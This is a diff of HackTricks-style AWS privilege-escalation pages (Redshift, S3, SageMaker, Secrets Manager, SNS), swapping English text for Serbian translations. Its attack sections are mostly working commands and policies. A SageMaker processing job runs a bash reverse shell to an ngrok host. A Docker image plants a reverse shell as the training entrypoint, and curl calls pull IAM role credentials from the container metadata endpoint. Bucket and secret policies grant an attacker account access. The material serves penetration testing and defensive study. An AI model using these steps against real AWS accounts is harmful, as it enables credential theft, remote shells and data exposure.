||||
> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned.
|
||||
> Da biste pristupili svim sledećim resursima, moraćete da **navedete ulogu koju želite da koristite**. Redshift klaster **može imati dodeljenu listu AWS uloga** koje možete koristiti **ako znate ARN** ili možete jednostavno postaviti "**default**" da biste koristili podrazumevanu.
|
||||
|
||||
> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
|
||||
> Pored toga, kao što je [**objašnjeno ovde**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava da se uloge kombinuju (pod uslovom da prva može da preuzme drugu) kako bi se dobio dalji pristup, ali samo **razdvajanjem** njih sa **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
|
||||
|
||||
### Lambdas
|
||||
|
||||
As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like:
|
||||
|
||||
Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), moguće je **pozvati lambda funkciju iz redshifta** sa nečim poput:
|
||||
```sql
|
||||
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
|
||||
RETURNS INT
|
||||
@@ -65,11 +58,9 @@ STABLE
|
||||
LAMBDA 'lambda_function'
|
||||
IAM_ROLE default;
|
||||
```
|
||||
|
||||
### S3
|
||||
|
||||
As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**:
|
||||
|
||||
Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), moguće je **čitati i pisati u S3 kante**:
|
||||
```sql
|
||||
# Read
|
||||
copy table from 's3://<your-bucket-name>/load/key_prefix'
|
||||
@@ -82,30 +73,23 @@ unload ('select * from venue')
|
||||
to 's3://mybucket/tickit/unload/venue_'
|
||||
iam_role default;
|
||||
```
|
||||
|
||||
### Dynamo
|
||||
|
||||
As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**:
|
||||
|
||||
Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), moguće je **dobiti podatke iz dynamodb**:
|
||||
```sql
|
||||
copy favoritemovies
|
||||
from 'dynamodb://ProductCatalog'
|
||||
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located.
|
||||
> Amazon DynamoDB tabela koja pruža podatke mora biti kreirana u istoj AWS Region kao vaš klaster osim ako ne koristite opciju [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) da odredite AWS Region u kojem se nalazi Amazon DynamoDB tabela.
|
||||
|
||||
### EMR
|
||||
|
||||
Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
|
||||
Proverite [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
|
||||
|
||||
## References
|
||||
|
||||
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,117 +6,112 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.
|
||||
|
||||
For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
|
||||
Napadač sa tim dozvolama nad zanimljivim kanticama može biti u mogućnosti da preuzme resurse i eskalira privilegije.
|
||||
|
||||
Na primer, napadač sa tim **dozvolama nad cloudformation kanticom** pod nazivom "cf-templates-nohnwfax6a6i-us-east-1" će moći da preuzme implementaciju. Pristup se može dati sledećom politikom:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"s3:PutBucketNotification",
|
||||
"s3:GetBucketNotification",
|
||||
"s3:PutObject",
|
||||
"s3:GetObject"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::cf-templates-*/*",
|
||||
"arn:aws:s3:::cf-templates-*"
|
||||
]
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "s3:ListAllMyBuckets",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"s3:PutBucketNotification",
|
||||
"s3:GetBucketNotification",
|
||||
"s3:PutObject",
|
||||
"s3:GetObject"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::cf-templates-*/*",
|
||||
"arn:aws:s3:::cf-templates-*"
|
||||
]
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "s3:ListAllMyBuckets",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
|
||||
I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno da kreira **lambda funkciju** u svom nalogu koja će **aktivirati kada se pošalje obaveštenje iz bucketa**, i **otme** **sadržaj** tog **bucketa**.
|
||||
|
||||
.png>)
|
||||
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
|
||||
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\
|
||||
Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
|
||||
An attacker with **read access** to them might find **sensitive information** on them.\
|
||||
An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\
|
||||
These are some examples:
|
||||
Ovo su dozvole za **preuzimanje i otpremanje objekata na S3**. Nekoliko usluga unutar AWS-a (i van njega) koristi S3 skladište za čuvanje **konfiguracionih fajlova**.\
|
||||
Napadač sa **pristupom za čitanje** može pronaći **osetljive informacije** u njima.\
|
||||
Napadač sa **pristupom za pisanje** mogao bi **modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije**.\
|
||||
Evo nekoliko primera:
|
||||
|
||||
- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
|
||||
- Ako EC2 instanca čuva **korisničke podatke u S3 bucket-u**, napadač bi mogao da ih modifikuje da **izvrši proizvoljan kod unutar EC2 instance**.
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
|
||||
|
||||
Napadač, koji treba da bude **iz istog naloga**, inače će se aktivirati greška `The specified method is not allowed`, sa ovom dozvolom će moći da sebi dodeli više dozvola nad bucket-ima omogućavajući mu da čita, piše, modifikuje, briše i izlaže buckete.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
|
||||
## JSON giving permissions to a user and mantaining some previous root access
|
||||
{
|
||||
"Id": "Policy1568185116930",
|
||||
"Version":"2012-10-17",
|
||||
"Statement":[
|
||||
{
|
||||
"Effect":"Allow",
|
||||
"Principal":{
|
||||
"AWS":"arn:aws:iam::123123123123:root"
|
||||
},
|
||||
"Action":"s3:ListBucket",
|
||||
"Resource":"arn:aws:s3:::somebucketname"
|
||||
},
|
||||
{
|
||||
"Effect":"Allow",
|
||||
"Principal":{
|
||||
"AWS":"arn:aws:iam::123123123123:user/username"
|
||||
},
|
||||
"Action":"s3:*",
|
||||
"Resource":"arn:aws:s3:::somebucketname/*"
|
||||
}
|
||||
]
|
||||
"Id": "Policy1568185116930",
|
||||
"Version":"2012-10-17",
|
||||
"Statement":[
|
||||
{
|
||||
"Effect":"Allow",
|
||||
"Principal":{
|
||||
"AWS":"arn:aws:iam::123123123123:root"
|
||||
},
|
||||
"Action":"s3:ListBucket",
|
||||
"Resource":"arn:aws:s3:::somebucketname"
|
||||
},
|
||||
{
|
||||
"Effect":"Allow",
|
||||
"Principal":{
|
||||
"AWS":"arn:aws:iam::123123123123:user/username"
|
||||
},
|
||||
"Action":"s3:*",
|
||||
"Resource":"arn:aws:s3:::somebucketname/*"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
## JSON Public policy example
|
||||
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
|
||||
{
|
||||
"Id": "Policy1568185116930",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Stmt1568184932403",
|
||||
"Action": [
|
||||
"s3:ListBucket"
|
||||
],
|
||||
"Effect": "Allow",
|
||||
"Resource": "arn:aws:s3:::welcome",
|
||||
"Principal": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Stmt1568185007451",
|
||||
"Action": [
|
||||
"s3:GetObject"
|
||||
],
|
||||
"Effect": "Allow",
|
||||
"Resource": "arn:aws:s3:::welcome/*",
|
||||
"Principal": "*"
|
||||
}
|
||||
]
|
||||
"Id": "Policy1568185116930",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Stmt1568184932403",
|
||||
"Action": [
|
||||
"s3:ListBucket"
|
||||
],
|
||||
"Effect": "Allow",
|
||||
"Resource": "arn:aws:s3:::welcome",
|
||||
"Principal": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Stmt1568185007451",
|
||||
"Action": [
|
||||
"s3:GetObject"
|
||||
],
|
||||
"Effect": "Allow",
|
||||
"Resource": "arn:aws:s3:::welcome/*",
|
||||
"Principal": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
An attacker could abuse these permissions to **grant him more access** over specific buckets.\
|
||||
Note that the attacker doesn't need to be from the same account. Moreover the write access
|
||||
|
||||
Napadač bi mogao da zloupotrebi ove dozvole da **dodeli sebi veći pristup** određenim kanticama.\
|
||||
Imajte na umu da napadač ne mora biti iz istog naloga. Pored toga, pristup za pisanje
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
##JSON ACL example
|
||||
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
|
||||
{
|
||||
"Owner": {
|
||||
"DisplayName": "<DisplayName>",
|
||||
"ID": "<ID>"
|
||||
},
|
||||
"Grants": [
|
||||
{
|
||||
"Grantee": {
|
||||
"Type": "Group",
|
||||
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
|
||||
},
|
||||
"Permission": "FULL_CONTROL"
|
||||
}
|
||||
]
|
||||
"Owner": {
|
||||
"DisplayName": "<DisplayName>",
|
||||
"ID": "<ID>"
|
||||
},
|
||||
"Grants": [
|
||||
{
|
||||
"Grantee": {
|
||||
"Type": "Group",
|
||||
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
|
||||
},
|
||||
"Permission": "FULL_CONTROL"
|
||||
}
|
||||
]
|
||||
}
|
||||
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
|
||||
```
|
||||
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
An attacker could abuse these permissions to grant him more access over specific objects inside buckets.
|
||||
|
||||
Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli više pristupa određenim objektima unutar kanti.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
##JSON ACL example
|
||||
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
|
||||
{
|
||||
"Owner": {
|
||||
"DisplayName": "<DisplayName>",
|
||||
"ID": "<ID>"
|
||||
},
|
||||
"Grants": [
|
||||
{
|
||||
"Grantee": {
|
||||
"Type": "Group",
|
||||
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
|
||||
},
|
||||
"Permission": "FULL_CONTROL"
|
||||
}
|
||||
]
|
||||
"Owner": {
|
||||
"DisplayName": "<DisplayName>",
|
||||
"ID": "<ID>"
|
||||
},
|
||||
"Grants": [
|
||||
{
|
||||
"Grantee": {
|
||||
"Type": "Group",
|
||||
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
|
||||
},
|
||||
"Permission": "FULL_CONTROL"
|
||||
}
|
||||
]
|
||||
}
|
||||
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
|
||||
```
|
||||
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
An attacker with these privileges is expected to be able to put an Acl to an specific object version
|
||||
|
||||
Napadač sa ovim privilegijama se očekuje da može da postavi Acl za određenu verziju objekta.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,70 +4,62 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Start creating a noteboook with the IAM Role to access attached to it:
|
||||
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Počnite sa kreiranjem beležnice sa IAM rolom koja je povezana sa njom:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
|
||||
The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready:
|
||||
|
||||
Odgovor bi trebao sadržati polje `NotebookInstanceArn`, koje će sadržati ARN novokreiranog notebook instance. Zatim možemo koristiti `create-presigned-notebook-instance-url` API da generišemo URL koji možemo koristiti za pristup notebook instance kada bude spreman:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Navigirajte do URL-a u pretraživaču i kliknite na \`Open JupyterLab\` u gornjem desnom uglu, zatim se pomerite do taba “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”.
|
||||
|
||||
Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.
|
||||
Sada je moguće pristupiti metapodacima akreditiva IAM Role.
|
||||
|
||||
Now It's possible to access the metadata credentials of the IAM Role.
|
||||
|
||||
**Potential Impact:** Privesc to the sagemaker service role specified.
|
||||
**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**.
|
||||
|
||||
Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti akreditive kao što je navedeno u prethodnoj tehnici**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to the sagemaker service role attached.
|
||||
**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je povezana.
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**.
|
||||
|
||||
Napadač sa tim dozvolama može da **natera sagemaker da izvrši processingjob** sa sagemaker ulogom povezanu. Napadač može da naznači definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrade kredencijale IAM uloge koja je povezana**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
--processing-job-name privescjob \
|
||||
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
|
||||
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
|
||||
--role-arn <sagemaker-arn-role>
|
||||
--processing-job-name privescjob \
|
||||
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
|
||||
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
|
||||
--role-arn <sagemaker-arn-role>
|
||||
|
||||
# In my tests it took 10min to receive the shell
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to the sagemaker service role specified.
|
||||
**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role.
|
||||
Napadač sa tim dozvolama će moći da kreira obuku, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge.
|
||||
|
||||
> [!WARNING]
|
||||
> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).
|
||||
> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete da navedete početnu komandu u konfiguraciji obuke).
|
||||
>
|
||||
> ```bash
|
||||
> # Create docker image
|
||||
> # Kreirajte docker sliku
|
||||
> mkdir /tmp/rev
|
||||
> ## Note that the trainning job is going to call an executable called "train"
|
||||
> ## That's why I'm putting the rev shell in /bin/train
|
||||
> ## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
|
||||
> ## Imajte na umu da će obuka pozvati izvršnu datoteku pod nazivom "train"
|
||||
> ## Zato stavljam rev shell u /bin/train
|
||||
> ## Postavite vrednosti <YOUR-IP-OR-DOMAIN> i <YOUR-PORT>
|
||||
> cat > /tmp/rev/Dockerfile <<EOF
|
||||
> FROM ubuntu
|
||||
> RUN apt update && apt install -y ncat curl
|
||||
@@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn
|
||||
> cd /tmp/rev
|
||||
> sudo docker build . -t reverseshell
|
||||
>
|
||||
> # Upload it to ECR
|
||||
> # Učitajte ga u ECR
|
||||
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
||||
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
> ```
|
||||
|
||||
```bash
|
||||
# Create trainning job with the docker image created
|
||||
aws sagemaker create-training-job \
|
||||
--training-job-name privescjob \
|
||||
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
|
||||
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
|
||||
--role-arn <role-arn> \
|
||||
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
|
||||
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
|
||||
--training-job-name privescjob \
|
||||
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
|
||||
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
|
||||
--role-arn <role-arn> \
|
||||
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
|
||||
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
|
||||
|
||||
#To get the creds
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to the sagemaker service role specified.
|
||||
**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\
|
||||
&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._
|
||||
Napadač sa tim dozvolama će (potencijalno) moći da kreira **hyperparameter training job**, **pokreće proizvoljan kontejner** na njemu sa **priključenom ulogom**.\
|
||||
&#xNAN;_I nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije._
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info about secrets manager check:
|
||||
Za više informacija o secrets manageru pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,44 +12,34 @@ For more info about secrets manager check:
|
||||
|
||||
### `secretsmanager:GetSecretValue`
|
||||
|
||||
An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**.
|
||||
|
||||
Napadač sa ovom dozvolom može dobiti **sačuvanu vrednost unutar tajne** u AWS **Secretsmanager**.
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
|
||||
```
|
||||
|
||||
**Potential Impact:** Access high sensitive data inside AWS secrets manager service.
|
||||
**Potencijalni uticaj:** Pristup visoko osetljivim podacima unutar AWS secrets manager servisa.
|
||||
|
||||
### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
|
||||
|
||||
With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
|
||||
|
||||
Sa prethodnim dozvolama moguće je **dati pristup drugim principalima/računima (čak i spoljnim)** da pristupe **tajni**. Imajte na umu da da bi se **pročitali tajne šifrovane** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (više informacija na [KMS Enum stranici](../aws-services/aws-kms-enum.md)).
|
||||
```bash
|
||||
aws secretsmanager list-secrets
|
||||
aws secretsmanager get-resource-policy --secret-id <secret_name>
|
||||
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
|
||||
```
|
||||
|
||||
policy.json:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<attackers_account>:root"
|
||||
},
|
||||
"Action": "secretsmanager:GetSecretValue",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<attackers_account>:root"
|
||||
},
|
||||
"Action": "secretsmanager:GetSecretValue",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,36 +12,26 @@ For more information check:
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
|
||||
Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
|
||||
**Potencijalni uticaj**: Iskorišćavanje ranjivosti, oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa.
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
|
||||
|
||||
Napadač bi mogao da se prijavi ili na SNS temu, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na temu.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup porukama (osetljive informacije), prekid usluge za aplikacije koje se oslanjaju na pogođenu temu.
|
||||
